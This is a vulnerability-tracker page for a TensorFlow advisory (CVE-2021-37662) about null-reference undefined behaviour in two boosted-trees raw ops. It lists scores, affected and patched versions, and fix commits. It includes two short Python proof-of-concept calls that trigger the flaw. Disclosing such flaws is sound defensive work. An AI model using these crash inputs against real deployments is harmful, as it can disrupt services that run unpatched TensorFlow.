CVE-2021-37662High· 7.1▾ TwilightReference binding to nullptr in boosted trees
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.1 · likelihood 0 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
An attacker can generate undefined behavior via a reference binding to nullptr in BoostedTreesCalculateBestGainsPerFeature:
import tensorflow as tf
tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
node_id_range=[],
stats_summary_list=[[1,2,3]],
l1=[1.0],
l2=[1.0],
tree_complexity =[1.0],
min_node_weight =[1.17],
max_splits=5)
A similar attack can occur in BoostedTreesCalculateBestFeatureSplitV2:
import tensorflow as tf
tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
node_id_range=[],
stats_summaries_list=[[1,2,3]],
split_types=[''],
candidate_feature_ids=[1,2,3,4],
l1=[1],
l2=[1],
tree_complexity=[1.0],
min_node_weight=[1.17],
logits_dimension=5)
The implementation does not validate the input values.
We have patched the issue in GitHub commit 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad and in commit. 429f009d2b2c09028647dd4bb7b3f6f414bbaad7.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
tensorflow < 2.3.4tensorflow >= 2.4.0, < 2.4.3tensorflow >= 2.5.0, < 2.5.1tensorflow-cpu < 2.3.4tensorflow-cpu >= 2.4.0, < 2.4.3tensorflow-cpu >= 2.5.0, < 2.5.1tensorflow-gpu < 2.3.4tensorflow-gpu >= 2.4.0, < 2.4.3tensorflow-gpu >= 2.5.0, < 2.5.1Upgrade to a patched release:
tensorflow 2.3.4tensorflow 2.4.3tensorflow 2.5.1tensorflow-cpu 2.3.4tensorflow-cpu 2.4.3tensorflow-cpu 2.5.1tensorflow-gpu 2.3.4tensorflow-gpu 2.4.3tensorflow-gpu 2.5.1Connected by shared product, vendor, weakness, or advisory.
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